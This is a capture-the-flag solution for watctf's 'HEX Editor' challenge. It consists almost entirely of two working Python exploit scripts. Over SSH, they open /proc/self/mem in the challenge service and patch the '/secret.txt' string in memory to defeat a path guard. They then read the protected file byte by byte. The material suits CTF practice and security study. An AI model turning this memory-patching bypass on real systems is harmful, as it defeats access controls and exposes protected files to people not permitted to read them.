HEX Editor (watctf) — bypassing the /secret.txt guard via /proc/self/mem

#!/usr/bin/env python3
# Patch "/secret.txt" in memory using local ELF to compute addresses
import argparse, subprocess, re, sys, pexpect
PROMPT = r">\s*$"
HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")
TARGET = b"/secret.txt"
PATCH_TO = ord(b".")

def run(cmd): return subprocess.check_output(cmd, text=True)

def parse_load_segments(bin_path):
    out = run(["readelf", "-lW", bin_path])
    segs = []
    rx = re.compile(r"^\s*LOAD\s+0x([0-9a-fA-F]+)\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+0x([0-9a-fA-F]+)\s+0x[0-9a-fA-F]+\s+([RWE ]{3})")
    for ln in out.splitlines():
        m = rx.match(ln)
        if not m: continue
        p_off = int(m.group(1), 16)
        p_vaddr = int(m.group(2), 16)
        p_filesz = int(m.group(3), 16)
        flags = m.group(4).replace(" ","")
        segs.append((p_off, p_vaddr, p_filesz, flags))
    if not segs:
        raise RuntimeError("Failed to parse LOAD segments")
    return segs

def file_find_all(data: bytes, pat: bytes):
    offs = []; i = 0
    while True:
        j = data.find(pat, i)
        if j < 0: break
        offs.append(j); i = j + 1
    return offs

def offs_to_vaddr(offs, segs):
    addrs = []
    for off in offs:
        for p_off, p_vaddr, p_filesz, _ in segs:
            if p_off <= off < p_off + p_filesz:
                addrs.append(p_vaddr + (off - p_off)); break
    return sorted(set(addrs))

def expect_prompt(ch):
    for _ in range(10):
        try:
            i = ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6)
            if i == 0: return
            ch.sendline("")
        except Exception:
            ch.sendline("")

def do(ch, cmd, t=2.0):
    ch.sendline(cmd)
    try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
    except Exception: pass
    return ch.before or ""

def getb(ch, off, t=1.0):
    m = HEX_RX.search(do(ch, f"get {off}", t))
    return int(m.group(1),16) if m else None

def setb(ch, off, val, t=1.5):
    out = do(ch, f"set {off} {val:02x}", t).lower()
    return ("readonly" not in out) and ("failed" not in out), out

def main():
    ap = argparse.ArgumentParser(description="Patch '/secret.txt' using local ELF")
    ap.add_argument("--bin", required=True)
    ap.add_argument("--host", default="challs.watctf.org")
    ap.add_argument("--port", default="2022")
    ap.add_argument("--user", default="hexed")
    ap.add_argument("--ssh-extra", default="")
    ap.add_argument("--read-bytes", type=int, default=2048)
    ap.add_argument("--dry-run", action="store_true")
    args = ap.parse_args()

    with open(args.bin, "rb") as f:
        data = f.read()
    segs = parse_load_segments(args.bin)
    offs = file_find_all(data, TARGET)
    if not offs:
        print("[!] No '/secret.txt' in local ELF"); sys.exit(1)
    addrs = offs_to_vaddr(offs, segs)
    if not addrs:
        print("[!] Could not map file offsets to vaddrs"); sys.exit(2)

    print("[*] Found occurrences in file:", ", ".join(f"0x{o:x}" for o in offs))
    print("[*] Runtime addresses for patch:", ", ".join(f"0x{a:x}" for a in addrs))
    if args.dry_run:
        print("[i] --dry-run: exiting without patch."); sys.exit(0)

    cmd = f"ssh -T -p {args.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {args.ssh_extra} {args.user}@{args.host}"
    ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000)
    expect_prompt(ch)

    pre = do(ch, "open /proc/self/mem", 3.0).lower()
    if "failed" in pre or "denied" in pre or "could not resolve" in pre:
        print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); sys.exit(3)

    patched = 0
    for a in addrs:
        b0 = getb(ch, a)
        print(f"[*] @ {a:#x}: before=0x{(b0 if b0 is not None else 0):02x}  -> '.'")
        ok, msg = setb(ch, a, PATCH_TO)
        if not ok:
            print("    [-] write failed:", (msg or "").strip()); continue
        b1 = getb(ch, a)
        print(f"    after=0x{(b1 if b1 is not None else 0):02x}")
        patched += 1
    print(f"[*] Applied patches: {patched}")

    out = do(ch, "open /secret.txt", 3.0).lower()
    if "not allowed" in out:
        print("[-] Guard still fires — another copy remains?")
    elif "failed" in out or "could not resolve" in out:
        print("[-] Could not open /secret.txt:", out.strip())
    else:
        print("[+] Opened /secret.txt — reading…")
        buf = bytearray()
        for i in range(args.read_bytes):
            m = HEX_RX.search(do(ch, f"get {i}", 0.7))
            if not m: break
            buf.append(int(m.group(1),16))
        try:
            print(bytes(buf).decode("utf-8", errors="replace"))
        except Exception:
            print("".join(chr(x) if 32<=x<127 else "." for x in buf))
    ch.close(force=True)

if __name__ == "__main__":
    main()

#!/usr/bin/env python3
# Patch one byte at absolute address via /proc/self/mem and read /secret.txt
import argparse, pexpect, re
PROMPT = r">\s*$"; HEX_RX = re.compile(r"\b([0-9a-fA-F]{2})\s*$")

def expect_prompt(ch):
    for _ in range(12):
        try:
            if ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=0.6) == 0: return
            ch.sendline("")
        except: ch.sendline("")

def do(ch, cmd, t=2.0):
    ch.sendline(cmd)
    try: ch.expect([PROMPT, pexpect.TIMEOUT, pexpect.EOF], timeout=t)
    except: pass
    return ch.before or ""

def getb(ch, off, t=1.0):
    m = HEX_RX.search(do(ch, f"get {off}", t))
    return int(m.group(1), 16) if m else None

def setb(ch, off, val, t=1.5):
    out = do(ch, f"set {off} {val:02x}", t).lower()
    return ("readonly" not in out) and ("failed" not in out), out

def dump_around(ch, center, pre=16, post=16):
    start = max(0, center - pre); data = []
    for i in range(start, center + post):
        x = getb(ch, i, 0.8)
        if x is None: break
        data.append(x)
    hexs = " ".join(f"{b:02x}" for b in data)
    asc  = "".join(chr(b) if 32<=b<127 else "." for b in data)
    print(f"[{start:#x}..{start+len(data):#x}]"); print(hexs); print(asc)

def main():
    ap = argparse.ArgumentParser(description="Patch one byte at address")
    ap.add_argument("--addr", default="0x0049704e")
    ap.add_argument("--value", default="0x2e")  # '.' instead of '/'
    ap.add_argument("--host", default="challs.watctf.org")
    ap.add_argument("--port", default="2022")
    ap.add_argument("--user", default="hexed")
    ap.add_argument("--ssh-extra", default="")
    ap.add_argument("--preview", type=int, default=16)
    ap.add_argument("--read-bytes", type=int, default=1024)
    a = ap.parse_args()
    addr = int(a.addr, 0); newv = int(a.value, 0)

    cmd = f"ssh -T -p {a.port} -oStrictHostKeyChecking=accept-new -oConnectTimeout=5 {a.ssh_extra} {a.user}@{a.host}"
    ch = pexpect.spawn(cmd, encoding="utf-8", timeout=3, maxread=20000); expect_prompt(ch)

    pre = do(ch, "open /proc/self/mem", 3.0).lower()
    if "failed" in pre or "denied" in pre or "could not resolve" in pre:
        print("[!] /proc/self/mem unavailable:", pre.strip()); ch.close(force=True); return

    print(f"[*] preview around {addr:#x} (before):"); dump_around(ch, addr, a.preview, a.preview)
    b0, (ok, _msg) = getb(ch, addr), setb(ch, addr, newv)
    if not ok: print("[-] write failed"); ch.close(force=True); return
    b1 = getb(ch, addr)
    print(f"[+] patched {addr:#x}: 0x{b0:02x} → 0x{b1:02x}")
    print(f"[*] preview around {addr:#x} (after):"); dump_around(ch, addr, a.preview, a.preview)

    out = do(ch, "open /secret.txt", 3.0).lower()
    if "not allowed" in out:
        print("[-] guard still triggers"); ch.close(force=True); return
    print("[+] opened /secret.txt — reading:")
    buf = bytearray()
    for i in range(a.read_bytes):
        m = HEX_RX.search(do(ch, f"get {i}", 0.7))
        if not m: break
        buf.append(int(m.group(1),16))
    try: print(buf.decode("utf-8", errors="replace"))
    except: print("".join(chr(x) if 32<=x<127 else "." for x in buf))
    ch.close(force=True)

if __name__ == "__main__": main()